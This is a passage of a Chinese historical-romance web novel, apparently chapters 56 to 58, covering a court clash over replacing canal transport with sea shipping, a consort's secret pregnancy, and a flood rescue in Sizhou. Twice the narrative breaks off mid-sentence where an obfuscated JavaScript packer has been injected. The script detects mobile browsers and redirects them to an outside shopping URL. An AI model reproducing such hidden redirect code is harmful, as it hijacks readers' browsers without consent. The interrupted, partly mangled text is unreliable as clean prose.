“你看看你现在什么样子!遇事切莫失了冷静。” “……是。”宋瑜应了声,慢慢的,找回了往日的沉静,掩面道,“下官失态了。” 江知礼没有怪他。 “你年纪还轻,肩上事情太重,实属正常。至于你方才怪我的事,我在集议时已经解释过,不是我要信他所言啊,而是,他所言不假。一切盖因去岁治水不当,就算没有冯矩提醒,等春汛爆发,圣上一样要降罪,与那样血雨腥风相比,现在的一切称得上和风细雨。” 江知礼长长叹了口气:“此人心计不浅,伙同皇帝,摆下阳谋,想要兵不血刃地逼我们弃漕运。但是我们错已犯下,追究无益,只能想办法度过这一遭。只怕皇帝后头还要拿‘治本’之事找茬,届时,兵来将挡,水来土掩罢……含圭,你若是冷静下来了,就去与工部商议具体的事宜。” “下官告退。” 四月,河水解冻,黄河平静了整个冬日的水位再次上涨,倒灌入洪泽湖,长淮湍急,一望汪洋。泗州成了陆上泽国。 但是幸好,泗州城内的人都已被疏散离开,没有造成大患。只余一些不愿走、抑或附近散居的农民,室庐漂荡,民人筏居,好不凄惨。 皇帝必然大怒,但有江知礼告罪在先,此时已不好再罚。不过李稷也没有就此饶过他,一日小晨议,内阁与司礼监人员俱在,李稷召来江知礼,再次发问治水之事。 江知礼说道:“治水事宜,臣在前日已经拟好递去文渊阁,只待圣上批红。” “你这题本,朕已看了,之所以按而不发,督御史不明白吗?” “请圣上明示。” 李稷将折子砸到他身上:“朕要你根治黄淮水患!督御史,你这扬汤止沸之策,是在糊弄朕,还是在糊弄天下百姓!?” 江知礼道:““回圣上,治水之策,自前朝起便循此例。臣愚钝,只知萧规曹随,不知错在何处。若圣上不满,大可另择贤能。” 好一招以退为进,三言两语,倒是把错处全归到胡乱点将的皇帝身上了。 李稷冷冷地看着他,失望之色溢于言表。慢慢的,他将怒容收敛了起来,淡道:“传工部侍郎于享。” 随堂太监小步而出,不过片刻,一位大臣跟着走了进来。可见,他早就奉皇帝之命,候在殿外。 江知礼眯着眼,看着步步走来的熟人。于享,蓬门士子,籍贯扬州,师从如今的南直隶户部尚书,是个彻彻底底的“淮党”,那日集议,口若悬河治水之策的也正是此人。 他是什么时候,为了什么,站到了皇帝身侧? 在江知礼如毒蛇的目光中,于享心跳剧烈,手脚发麻,却还是撑着走到了殿堂中央,正要跪地行礼,被皇帝免了。 “于卿,把你奏本里写的再说一遍。” “是,”于享说道,“黄淮之患,有谓海口不利者,有谓洪湖淤垫者,有谓河身高仰者,此三说皆可。而根治之策,无非‘筑坝、分洪、疏水’……” 与那日集议不同,今日无一人打断于享的话。 起初,他还畏惧着虎视眈眈的江知礼,说到兴头,什么都顾不上了,只滔滔不绝,一抒己志。 “……是以,臣于享,冒死呈奏根治之策……黄淮之患,积重难返,若只知加高堤坝,无异于饮鸩止渴。为长久计,当疏通黄河入海水道,但是如此一来,漕运势必受影响,所以,可改漕运为海运……” “海运”二字,如同惊雷,炸响在寂静的殿宇中。 “于享!你放肆!”江知礼再也维持不住镇定,厉声喝断。他猛地转向御座,痛心疾首,“圣上!此乃祸国之言!漕运关乎国计民生,南北命脉,岂容轻改?海运风波险恶,盗寇横行,是以先帝才会闭关禁海,此议实乃误国!” “江知礼!你才放肆!朕的面前,岂容你大呼小叫!” 座下阁臣乔广川率先起身表态:“圣上,依臣之见,于侍郎此法可行。我朝早已有能行海上的大船,南边也多有商人出海,带回南洋诸物,开海运,不仅可解漕运之急,而且可增加与海外诸国的联系,让海外诸国见识我国的富强繁荣,臣服于我大齐威名之下。” 江知礼如何能认:“圣上……” 他还待陈述己见,却被皇帝打断:“好了!” 江知礼:“圣上,于享纸上谈兵,异想……” “朕说好了!今日所言,诸位回去后再琢磨。江知礼,你留下,朕有话跟你说。” 座下内阁大臣、司礼监太监、中书舍人、以及工部侍郎于享行礼离开,连唐直抒都撵着随堂太监退了出去,少倾,殿内只余李稷和江知礼君臣二人。 李稷负手,自宝座而下,走到江知礼跟前。 “江督御史,您是三朝老臣,朕素来敬你,方才人多,朕要给你留着面子,所以有些事不曾说——檐臣,进来。” 侧门轻响,一道披着斗篷的人影悄无声息地步入殿内。他在皇帝身侧站定,方抬手缓缓摘下兜帽,露出一张年轻却饱经风霜的脸。 江知礼瞪大眼,如见鬼魅,失声惊道:“是你!你没死!” 57. 有喜 “……你是没有见到那老匹夫的脸色,都能开染坊了,精彩极了。” 西苑广寒宫前的湖心亭内,李稷披发倚杆斜坐,容光焕发,剥了一颗栗子喂给身边人。 乔燕启唇含下。 她本由他摆弄,卧在他膝上,一手支颐,此刻为了吃栗子,微微扬起脖颈。 “这么说,束阳回京了?”乔燕松了口气,“他拿出了什么把柄,竟能换得江知礼松口放弃漕运?” 寻常后妃,万万不敢打听朝政,但李稷不在乎,时常拿政务当故事讲给心上人听。乔燕也不在乎,皇帝要做什么,她都顺着。 “说来话长,”李稷一心二用,又开始剥下一颗栗子,“怎么,你倒是很关心他?” “到底曾同行过一程,后来又听闻他失踪,确实有些关心。” 李稷动作一顿,擦了擦指尖,抬起她下巴,说道:“不许。” 乔燕睨他一眼。 春日阳光还有些清冷,从亭外斜入,打在皇帝的下半张脸上,衬得他眼窝深邃,鼻梁笔挺,从下往上看,可以看到明暗分明的下颌轮廓。 一瞬间,乔燕忽然想到个风马牛不相及的事:李稷是先帝元后所生,听闻那也是个冠绝两京的美人。 乔燕推开下巴上的手指,垂下眼睫,嗔道:“怎么什么醋都吃,您还没有回答我的问题。” “起初,稽川在徐州彭县找到一份贩卖私盐的名单,虽只涉及低品地方官员,却也是线索。朕做了三份准备,一是封冯矩为钦差,大张旗鼓巡按淮地,吸引注意,二是命稽川从涉及漕运的富商入手查案,第三,束阳转入暗中,从最初的名单顺藤摸瓜。三人合力,大半年的时间,果真撬动了南直隶淮党的势力,抓住了几个大官和勋贵的把柄。” “只是这些把柄还不够,还没有确凿证据,不足以定罪,朕就是用这些把柄,换得江知礼妥协。可惜了,如果继续查下去,朕定能彻底肃清淮地,把吃里扒外的巨蠹一网打尽……如今只换得开通海运。” 乔燕奇道:“那圣上为何不让他们继续查下去?这么急着掀开底牌作甚么?” 李稷目光沉沉地看着她,没有立即说话。 也许是久居高位,他的眼神太过深沉,她什么都没看出来,只是心跳莫名差了几拍,感到些许不安。 乔燕十分不喜这种脱离掌控的感觉,一把将他推开,坐直了身体,也把方才的问题忘得一干二净。 “我要回去。” “吃了这个,”李稷把最后一颗栗子肉喂给她,转眼间就眉目含笑,“再等一会,我还有事要跟你说。” “不想听,你说的那些事太无聊。” “跟乔家有关。” 乔燕微怔:“什么?” “自你去年‘失踪’后,你的四哥,乔翀,就去了徐州,沿途搜寻你的消息。这个月春汛,黄淮下游发大水,乔翀恰好在泗州城……” 乔燕脸色大变。 “别急。我听到消息,立马派锦衣卫指挥使宋弼德亲自去找人,今日刚收到消息,他们已经找到乔翀,人没有事,就是被困在泗州城出不来了。宋弼德他们为了进城,顶着洪水泅渡入城,如今一起被困城内,靠带去的信鸽传出消息,道等洪水退去再离开。他们只带了一只信鸽,只好暂且失去联系。” 乔燕这才松了口气,抓住李稷的手,定定地看着他。 李稷笑容微滞,“怎么?” “您派人去找四哥,我很感激……但我又忍不住想,这一切都是因为我。是我为了一己私欲,迟迟不归……幸好,幸好四哥没事……” 乔燕喃喃着,像是陷入了什么梦魇之中,面露痛楚,脸色苍白。 李稷这下彻底慌了神。 乔燕自回京后,精神便一直不好,情绪时起时落,眼见终于稍微好转,愿意和他说笑,不曾想,竟又被他一句话刺激到了。 他搂住乔燕腰身,见她额头冒出冷汗,转眼不省人事,吓得魂飞魄散,大声喊来奴婢。 乔燕再次醒来时,只见夕阳透过窗户照射进屋子,光柱里灰尘浮动。窗户下是梳妆台,案面一角放着自乔家带来的妆奁……屋内一切陈设非常熟悉,乔燕忍不住撑起身子,四下打量。 床头脚踏上的小宫女盘膝而坐,头一点点,忽然惊醒,看到她,顿时惊喜非常:“娘娘醒了!宜婵姑姑,娘娘醒了!” 乔燕迟疑片刻,才喊出她的名字:“姜满?” 眼前的宫女不过豆蔻之龄,梳着双髻,正是晋为惠禧太妃后,尚宫局拨下的小宫女姜满。 “是奴婢。娘娘,您失踪了六个月,奴婢快急死了,”姜满擦了擦眼睛,喜极而泣,“幸好幸好,圣上把您找回来了!” “我这是在……西六所?” 李稷将她送了回来? “是的啊娘娘,您当然在享纯宫啦!” 这时,宜婵从外室大步走了进来,急得连仪态都顾不上,看到乔燕,她仿佛放下了一块大石头,蓦的笑了起来,笑着笑着,却流出了眼泪。她猛地捂住嘴,止住了抽泣,看起来仿佛很悲伤。 乔燕不明所以,姜满才刚见到她,所以哭了,但宜婵不是前段时间在通天塔一直跟着么? “怎么了这是?” 宜婵擦干眼泪,走到床边,对姜满说:“你先出去。我和娘娘说些体己话,不许人进来。” 小宫女依言出去,宜婵又等了会,外面脚步声彻底远去,才跪了下来,紧紧握住乔燕的手。 她握得那样紧,仿佛要从中汲取什么勇气,又仿佛想通过这样的动作,将勇气渡给她的主子。 “娘娘,奴婢接下来要说的话,您听了千万、千万要撑住……”她深吸一口气,仿佛用尽了全身力气,才说道:“您……有喜了……已经四个月。” 这一声惊雷,炸得乔燕脑袋一片空白,她愣在那里,好似变成了木头。 宜婵之所以这么担心,是因为在通天塔里的那段时间,乔燕一直表现得很脆弱,整个人仿佛被抽去了丝缕生魂,时而尖锐亢奋,时而慵懒低沉,一天天地消瘦。 但是出乎宜婵意料的是,此刻的乔燕,脸上并未出现预想中的崩溃。她只是静静地躺在那里,望着头顶的床帐。 四个月…… 四个月前,正是去年腊月,在那天远离京师的天地,她与冯矩初次重逢。 为什么?怎么会?他明明从未留在里面…… 她忍不住抚上小腹,那里仍然平坦,但却孕育着一个生命,一个他们的孩子。 一刹那,她的心格外柔软,欣喜得几乎要战栗起来。这是他们在世上最隐秘的联结,是那段吉光片羽的唯一证明。有一瞬间,她甚至想不管不顾地笑出声,为这荒诞命运中突如其来的一点慈悲。 然而,那笑意还未抵达唇角,忽然僵住。 太妃与臣子的孩子? 这念头像一盆冷水,迎头浇下。她仿佛已经看到了那孩子模糊的未来:永远无法宣之于口的身世,四周窥探的、充满恶意与轻蔑的目光,一生都将活在见不得光的阴影里,背负着原罪挣扎求生……而她自己,这个名义上的“母亲”,或许连保护他/她的资格都没有。 方才那阵汹涌的喜悦,此刻化作最锋利的刀,反复凌迟。希望带来的痛苦,远比彻底的绝望更为残忍。 她闭上眼,纤长的睫毛在苍白的脸颊上投下脆弱的阴影,仿佛要将所有翻腾的情绪都强行锁回荒芜的心海深处。再睁开时,里面已是一片死寂的平静。 她喃喃道:“这个孩子不能留。” “娘娘!”宜婵再也忍不住,哭泣出声,“可是太医说,您现在身体太弱,孩子月份又大了,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116340|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在想要打掉他,您会没命的……” “……” 乔燕愣愣地睁眼,注视着虚空。她的神情有些奇异,像是想笑,又仿佛在哭。 “母妃!母妃!” 屋外,忽然传来少年焦急的声音。一听到惠禧太妃回宫的消息,李琢就匆匆赶来探望。乔燕不得不收敛心神,强打起精神。 面对李琢,乔燕心里升起些许愧疚。这个孩子记在她的名下后,对她关怀备至,晨参暮省,未有懈怠。但是她回京后这么久,竟少有想起他,根本没能尽到做母亲的责任。 一见到乔燕憔悴的模样,少年眼睛就红了。在他看来,当初乔燕为了保护他而牺牲了自己,从那之后,他日夜自责,好不容易再见,负罪的情绪一下子压垮了他。 “母妃……对不起,当初都怪我,害您受苦这么久……” 乔燕将人搂在怀里,轻声细语地安抚了许久,李琢才抽抽搭搭地停止了哭泣。 送走李琢,本以为能休息片刻,其他后妃却纷至沓来,乔燕不得不继续应付人情往来,等屋中再次清净,天色早已漆黑一片。 这一天里,各种消息接踵而至,令她应接不暇,情绪大起大落。直至此刻,终于寻得空隙,心里那根绷紧的弦骤然松开,疲倦得连手指都抬不动,很快昏睡过去。 再次被人喊醒时,唐直抒亲自端来一碗药。 乔燕坐起身,靠着软垫,看着他手里黑黢黢的药,轻声问:“这是什么药?” “回娘娘,这是太医院妇科圣手开的安胎药,娘娘放心,此乃托宫外有孕的命妇问得的药方,奴婢亲自去宫外分了好几处药店抓药,在小厨房熬成,旁人万万猜不到。” “圣上没来么?” 唐直抒似是愣了一下,回道:“今夜圣上一直在正德殿与大臣商议治水和海运事宜,未曾得空。” “告诉孩子的父亲了吗?” “娘娘……” “没知会他吗。” “娘娘,乔大人尚在巡按淮地,行踪不定,消息难以传达……便是知会了他又如何呢?他难不成要违命入京吗……纵使入京,他也不能入内廷啊。” 乔燕没有作声。 唐直抒继续劝道:“儒门自理学盛行起,将女子贞节看得甚重,此事若传扬出去,您会没命的!越少人知道越好,消息传出去,难免有走漏的风险,还是日后再伺机告诉他吧。” 乔燕静了片刻,接过药,忍着恶心一口灌下。 唐直抒松了口气,又道:“娘娘身子太瘦,故而不曾显怀,但在宫里住下去难免会被人看出来,过几日寻个时机,要请娘娘去宫外暂住。” “嗯。” “鹿山繁园,娘娘还住那个有温泉的院子,远离京中纷扰,闲时泡温泉解乏,别提多自在。” 乔燕胡乱点了点头。 唐直抒端详着她,叹了口气:“娘娘有些话奴婢不该说,但是……奴婢实在心疼您,太医说了,您身子骨太差,须得好好保养,否则等到临盆,恐怕凶多吉少。” 乔燕虚弱地笑了笑:“我知道了。” 唐直抒告退后,宜婵和于海端来晚膳,但乔燕实在没有胃口,逼迫自己吃了两口,就推开了碗。 然后又昏睡过去。 半梦半醒间,有道高大的人影坐在床边,他安静地望着她,目光那样深情,几乎要让她从梦魇里挣脱开来。 也不知过了多久,他俯下身,在她额头上印下一吻,然后与她额头相抵,闭上了眼。 她听到低声呢喃。 “……我嫉妒得快要发狂……不知该如何对你……怕伤着你,想冷静些时日,本不打算来的……可听闻你问起我……我还是……没能忍住……” 在轻声絮语里,她慢慢地沉坠下去,越沉越深,最终彻底被安详的黑暗拥抱。 58. 清醒 一场春汛,泗州城成了水上泽国。 因朝廷迁离令,城中十室九空,一楼的屋舍尽数没于水下,只剩些二层小楼,如礁石般孤零零地探出水面,成了暂时的栖身之所。 天未亮,乔翀就顶着黑眼圈推开窗户,看着窗下的汪洋,心情十分沉重。远远飘来乌漆嘛黑的东西,待得近了,定睛一看,原来是一具浮肿的狗尸。 一片木筏从巷道里划出来,直冲狗尸而去,木筏上站着两个衣衫脏污的老汉,他们捞起狗尸,眼冒精光,大喜道:“太好了!看起来刚死不久,还没发臭。” “快走快走,回去加餐!菩萨保佑,可算有肉吃了。” 乔翀皱眉,冲窗外大喊:“那个不能吃!可能得瘟疫!!” 两个老汉听到了,却没当回事。 “小兄弟,病死总比饿死好!” 说完,嘻嘻哈哈地撑着木筏原路返回,很快消失在黑暗里。 这时,许是听到动静,房间外有人叩门。乔翀走去拉开门栓,只见锦衣卫指挥使宋弼德站在门外。 “宋指挥使?你没睡吗?” “睡不着,起来找守夜的弟兄喝酒,”宋弼德拍拍他的肩,“乔兄弟也睡不着啊,要不要一起来?也是运气好,这家从前是客栈,二楼客房里找到两坛烧酒。” 乔翀迟疑一瞬,便点头应下,随他去到楼梯口处。 三名锦衣卫席地围坐,中间生着一盆火,两坛酒,几个碗,除了酒水,其中两个碗里盛着老黄豆。 这群男人喝着酒,烤着黄豆,谈笑间香味扑鼻,与外面浮尸遍地的氛围天壤之别。 看到乔翀,锦衣卫们挪屁股腾了一点空间出来。自小锦衣玉食的乔四郎君并不讲究,挨着他们坐下,感受着明亮的火光,稍稍驱散了心头的沉重。 有锦衣卫善意地把话题引到乔翀身上,“乔郎君生得好俊,今年多大了?” “二十六了。” “我天,你看起来才刚及冠吧,娶妻了吗?我妹妹刚刚及笄,还没有许人家。” “呸!老关,你懂什么,这些书香门第的郎君娘子们,早早就定好鸳盟,乔郎君孩子怕都生了!还用得着你介绍。再说了,你那妹妹腰身顶得上人家两个,别瞎琢磨!” “咋了,老子爹好得也是三品大将,门第不算低了吧。就是他老人家一直在河西,去年过年也没回来,我娘和妹妹为此还哭了一场。等明年我及冠了,我也要去我爹那挣战功。” “什么?你还没及冠?你看起来得有三十了吧?” 插科打诨间,众人大笑,话题渐渐跑远,乔翀安静地坐在一旁,看似融进人群里,实则神思已不在此处。说起妹妹,他也有些想妹妹了。这次出来就是为了找五娘,突遇大水,侥幸被锦衣卫所救,但问起乔燕行踪,宋指挥使只道奉圣命来找他,不知乔太妃此身何处。 五娘她还好吗……还活着吗?身在何处?为何不找回家呢?说到底,是乔家亏欠她,但是天地茫茫,除了皇宫和乔家,她还能去哪? 不管她在哪,只要平安就好,只要平安,做兄长的总会找到她。 楼下闪过一点火光,锦衣卫们突然噤声,屏气凝神。只见那点火光越漂越近,渐渐的,一块门板漂了进来,上头蹲着一个干瘦的乞儿,看起来不过五六岁。乞儿手里提着不知哪里找来的风灯,仰起头,露出一双因饥饿和恐惧而大得惊人的眼睛,里面盛满了绝望。 “几,几位老爷,能,能不能,能不能赏口饭吃……” 方才的欢乐霎时烟消云散,众人沉默着。 宋弼德叹了口气:“你上来。” 乞儿抱着风灯,不知想到了什么,瑟瑟发抖,看起来好像下一刻就要逃离这里。但也许实在太饿了,二楼飘下去的香气能使人舍生忘死,他的身子被钉在原地。 “我……” 宋弼德放柔声音:“没事的,我们不会伤害你,上来烤烤火,我们正好有话问你,答得好就给你东西吃。” 应当是最后一句话起了作用,乞儿费劲地划门板来到楼梯口,泅了几步水,湿漉漉地爬上二楼。 他也不敢挨得太近,就猫在楼道最边沿,细声说:“你们想问什么?” 宋弼德打量着他,沉吟:“你几岁了?” “七岁。” “朝廷早算到会有这场洪水,提前一个月就组织人迁去别的地方,你知道吗?” 乞儿点头。 “那你怎么不走啊?” “反,反正去哪里都一样……都吃不饱……留在这里,说不定能找点别人丢下的吃的东西……”乞儿轻声说。 宋弼德不知想到了什么,起身去房间里取出一块干饼,这是他们从城外带进来的,将将够几人五六天的口粮。他用火钳夹着饼,放到火上烤,乞儿目不转睛,咽了咽口水。 没等宋弼德继续问,乞儿忽然急切地主动开口:“好多人没走!城里城外的乞丐都没走,反正没有官老爷管我们,甚至他们不许我们跟着走,说我们会偷东西……还有很多农民不肯走,我认识的一个爷爷就没走,他要看着田,田没了,人到哪活不下去……他已经淹死了……还有很多老人、女人、女娃娃都没走,他们有的走不动了,有的被家人丢下看家……我,我能吃一口吗……求求你了,给我吃一口吧,我快饿死了……” 宋弼德把烤热的饼放到碗里,递给他。 他立马抓过饼,顾不上烫,龇牙咧嘴地往下咽。 “慢着,别噎着了。”有个锦衣卫看不下去,倒了一碗酒,准备给乞儿。乔翀拦下,低声说了句:“他太小了,喝不了,我房间里有水。” 说完,起身拎出一壶凉水,倒给那小孩。 这里的水不知道泡过多少尸体,喝下去迟早染病,但不喝水也没办法。这水乃沉淀之后,取上层清水煮沸而成,制作不便,喝一点少一点。 这会儿天已经亮了,那乞儿珍惜地吹熄风灯,坐在原地,看起来胆子大了很多,一双眼骨碌碌转着,不知道在想什么。 守了一夜的锦衣卫们也饿了,纷纷掏出自己的那份干粮烤着吃。宋弼德掰了一半给乔翀,乔翀接过,胡乱吃下。 外面开始有了一点动静,应当是留下来的人外出找东西吃。有人闻到香味,撑小船进入客栈,看到二楼几个彪形大汉,忙不迭地退了出去。 乔翀终于忍不住,吐出口郁气。 宋弼德仿佛知道他的想法,用力地捏了捏他的肩膀。 这时,又有人过来,当楼上楼下的人互相看清模样时,锦衣卫们忽然站了起来。 无他,楼下那人竟也穿着锦衣卫的服饰。 宋弼德疑惑:“你是……?” 他不认得所有下属,但手下必然都是认得他这个老大的。楼下那人反应过来,松开佩刀,抱拳行礼:“见过指挥使,属下是百户秋淼。” 片刻后,秋淼坐在人群当中,简单述说近来遭遇。 原来,钦差冯矩不放心泗州百姓,早在迁城令下之前就以雷霆手腕逼富几县富商缴钱粮,收购药材,屯于北边山上。又征用了几艘渔船,洪水后领着锦衣卫们帮助地方官员救助百姓。 前天,冯矩从救下的百姓那里得知,尚有不少人留在城内,不愿离开,于是做了一天准备后,亲自领人运粮入城。此举起初遭到刁民哄抢,冯矩不留情面地杀死出头之人,恩威并施,才算控制住局势。 秋淼之所以出现在这里,正是奉命搜寻遗留的百姓,途中闻到食物香味,这才入内查探。 宋弼德道:“这个钦差倒是一心利民,要是有机会,我真想率弟兄们前去帮忙,但此行另有任务在身,本就打算这两日动身离开,只能爱莫能助。” 话毕,一直显得有些沉默的乔翀忽然插嘴道:“我不要紧,宋大人,我们去看看能否帮上忙吧。” 秋淼左右看看,随即笑着打圆场:“那太好了,凤阳府借口要安置徙民,挤不出人手,我们的人确实吃紧。” 宋弼德皱眉盯着乔翀,见他意见已决,只能妥协。 等吃完东西,喊醒三个睡觉的同僚,一行人从房间里拖出藏好的两艘小船,带上最开始找来的乞儿,跟着秋淼一路往北去。 城北地势较高,有一座九层佛塔,水只淹了一层,余下五层挤满了聚集来的百姓。冯矩和锦衣卫们藏粮于顶上两层,他低估了留下的人口,带来的粮食并不够每个人吃饱肚子,只能混着水煮成稀粥,吊着百姓的命。但饶是如此,这点粮也撑不了多少。 一天两顿稀粥根本解不了饥饿,人在饿狠的时候,什么事都做得出来。第二天晚上,就有刁民集结人手想要劫粮。秋淼亲自将头领一刀毙命,砍在脖子上,血溅了旁边人满身,那些百姓顿时仿佛吓傻了一般,瑟瑟发抖,凶性全无。 尽管如此,冯矩还是将人分为三班,轮番值守在楼道口,就怕东窗事发,白白葬送了性命。 “你们一共有多少人?” 既然要掺和,宋弼德不得不把情况打听清楚。 秋淼一边撑着带来的木船,一边答道:“除了我手下的二十三名锦衣卫,冯大人入城前还临时征召了七个民夫、两个大夫,如今也临时编进人手里。” “那聚集了多少百姓?” “我出来前,大约有百名出头,其中青壮男人共有十一人,其余都是老弱、幼童和女人。” 这么些人,控制住局面不成问题。若是干成了,不失为大功一件。宋弼德放松了些许,又问:“你们带了多少粮?” “呃……”秋淼下意识移开视线。宋弼德立马发觉不对,竖眉又问了一遍。秋淼这才老实地说道:“大概只能再吃两天。” 宋弼德沉默下去,又盘算起打道回府的主意。 秋淼没有察觉他的异样,见他不再问话,便分了一部分注意力放在沿道的民居里,看是否有等待救援的百姓。 佛塔中,冯矩也正为粮食烦恼。他坐在顶层一张香案后,在纸上计算着余粮,这时,有人上楼来,乃从城外带来的义诊大夫樊德。 “冯大人,方才有幼童不适,畏寒发热,我看了看,甚类疾疫,怕有传染之患。” 冯矩头疼地搁笔,幸好早有准备,并不觉意外。 “什么疾疫?可能救治?” 樊德点头:“每逢春时夏候,常有此疫,书中有药方可医。只是如今大家都挤在一处,唯恐传染开来,拖成大患。” “不必烦忧,早先我们的人就在五楼空出一块地作为病舍,将病患和今日接触之人迁至那里,置医药相救。” “大人远见。” “救治之事,还需先生烦心。只是先生不可太过劳累,保重好身体。” “除了我,还有张老大夫呢。草药亦甚齐全。大人放心,我二人一定会尽心尽力,防治此次疾疫。我们会熬一些汤药分发下去,用来预防,届时大人也请喝一点。” “那就再好不过了。” 冯矩起身,将人送至楼梯口,正欲回身,却见一名锦衣卫激动地跑了上来。 “大人!宋指挥使来了!” 冯矩怔住,只以为是皇帝派来的,心里微微动容,顾不上处理案头草事,下楼相迎。 等到楼下,他才发现,除了锦衣卫指挥使宋弼德,竟然连乔翀也来了。乔翀无官职在身,何以出现在这里?冯矩自然相问,乔翀说明来意,换来冯矩脸色微变,沉默片刻,说道:“太妃娘娘此前曾与我等待在一处……” 冯矩说起赣榆县的案件,三言两语说清寻回乔太妃的前因后果,秋淼在一旁频频点头佐证。 听到妹妹无事,乔翀自然松了口气。一旁的宋弼德不解道:“我倒是知道圣上出京的事,但是圣上三月初就回宫了,一直到我奉命出来,都没有听到太妃回宫的消息。” 乔翀茫然困惑。秋淼脸色几变,立马看向冯矩。冯矩脸上血色褪了干净,眼里百般情绪闪过,最后定格为深深的迷茫,仿佛万般筹算,也从未算过这一出。他迈出一步,忽然身子一晃,直直朝前倒去。 床铺前,樊大夫结束诊脉,把冯矩的手臂放了回去,说道:“五脏亏损,神劳气散。没有什么大碍,日后让冯大人少些操劳忧思,将养一段时间就好。” 乔翀放下心,忽然转身将宋弼德扯出门,低声道:“我要回京。” 宋弼德惊呆了,“祖宗,来也是你要来,怎么突然要走了?要怎么跟旁人说?” “给您添麻烦了。但是此处少人,指挥使留在这,我一个人离开。” “那可万万不行,我此行任务就是把你平安带回京城,你一个人走?外面都是汪洋和流民,你怎么走?吃什么?晚上睡哪里?我可告诉你,这流民,其实就是流匪,人在活命的关头,可是连吃人都做得出来的!你不能一个人走!” “我妹妹……”乔翀忍着气,咬牙道,“我要回京面圣问清楚!” “那更不行了,乔少爷,您现在这状态,回去冲撞了圣上,乔家可没有好果子吃。你冷静冷静,等你冷静下来,如果还非要回去,我只能先送你回去了。” 乔翀闭了嘴,恶狠狠地一掌拍在旁边的扶手上,努力让自己“冷静”。他这样,宋弼德哪里放心得下,不得不屈尊亲自盯着。 这时,楼梯下传来两个年轻锦衣卫说话声。 “哎,你跟着秋三水混,那太妃是不是也见到了,好看吗?是不是像传说中的那样,是绝世美人?” “好看是真好看,不仅长得好看,还有股特别的气质,我第一眼看到,就知道是贵人。我们老大平时那么横一个人,在太妃娘娘跟前都收了性子,变得文绉绉的。” “哈哈哈真的?” “骗你作甚!还好钦差大人认出了太妃,一路接在身边,亲自看顾,立下护驾之功,弟兄们才能在圣上来时混了份赏钱。” 乔翀僵在原地。 那两个锦衣卫又说了什么,他已经完全听不进去了,他呆呆地站了许久,忽然冲回房间,“冯二!” 冯矩已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116341|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒了,转眼看过来。围在床边的人全都看了过来。被这么多人盯着,乔翀勉强拾回理智,说道:“劳烦大家出去一下,我有话要和冯大人说。” 秋淼仿佛明白了什么,迟疑着想要开口,冯矩却在这时喊住他,在他耳边低声道:“仲蟾,请你看着楼道,莫要让人上来。” 秋淼点点头,带头走了出去。众人很快离去,整个佛塔顶楼一下子空荡荡的。 冯矩坐起身,淡淡地注视着乔翀,不闪也不避,仿佛等待着某种宣判一般看着他。 在这样的目光里,乔翀先失语了。 他们曾相伴长大,是同窗,是挚友,他再熟悉不过冯矩的这种眼神。 小时候,冯矩因同情街上遇到的乞丐,当掉随身配饰给乞丐看病,被大人责骂时就是这种眼神。 偷偷和五娘私会,送五娘情字被人发现时,就是这种眼神。 立志要写完老师留下的《齐志》,做一个默默无闻的翰林修撰,也不愿从家里的意去礼部时,就是这种眼神。 是他做了世人眼里的错事,而我心如一,不愿悔改的眼神。 一瞬间,乔翀已经知道了想知道的事。 但哪怕心里已经知道答案,乔翀还是抱着最后一丝希望,问道:“我只问一遍……你和太妃……” “是。” 话音未落,乔翀忽然暴起,拳头狠狠砸下。冯矩倒在床上,脸颊一下子肿了起来。 乔翀高举手臂,还待再揍,冯矩静静地闭上了眼。 乔翀忽然意识到一件事,一件非常可怕的事,他从眼前这个人身上,看不到一丝“生意”,那是一种万事已矣的心死,一种前方无路的渺忙,和坦然的绝望。 ……这是他曾经的至交好友啊。他怎么就,怎么就变成这副模样…… 乔翀鼻头一酸,又恨又气,还有种莫名的慌张,百味杂陈。 这一拳到底没有打下去,乔翀拎着冯矩的衣襟,将他用力扯了起来。 “你怎么敢!?” 冯矩睁开了眼,神情有些怔忡,忽而扯开嘴角,轻轻笑了一下:“我一直很清醒,找到她的那一晚,我已经做好了面对所有后果的准备,哪怕是去死。” “那你所谓的‘后果’,有五娘被皇帝带走后不知所踪吗?!” 冯矩神情变得痛苦,他的眼里,终于流露出悔恨。 “……我们之间很隐晦,并没有传出流言,乔家如日中天,她又曾于圣上有恩,圣上无论如何也没有理由动她……那时候看到圣上大张旗鼓地以太妃之礼迎她回宫,我以为,再怎么也不会……” “你以为,都是你以为!你有没有想过,就算没有证据,但只要圣上知道你们之间发生过的事,他就会看轻五娘,所以他才有可能想不敢想之事,为不能为!五娘要是真的被他……我不会放过你!我真恨不得打死你!你也别给我露出这么一副死人脸,好好活着,给五娘赎罪。” 乔翀恨恨地将他搡在床上,头也不回地离开了。 冯矩躺着,慢慢捂住了眼。 门外,秋淼又在哼他那首曲儿,声音隐隐约约传进来来,待仔细一听,却发现换了词。 “……休道襄王梦里真还假,庄生蝶影虚还个。前盟如絮,后约若烟,空劳魂牵。说情深偏分飞燕,道缘浅怎偏遇见?不如我撒手烟霞,笑指那夕阳孤鹜落。待阎罗问罪愆,俺只道:痴人也,原不曾梦圆……” 这家伙,也太促狭,分明是故意指名道姓,唱给他听。冯矩闭目一叹,“仲蟾兄,进来吧。” 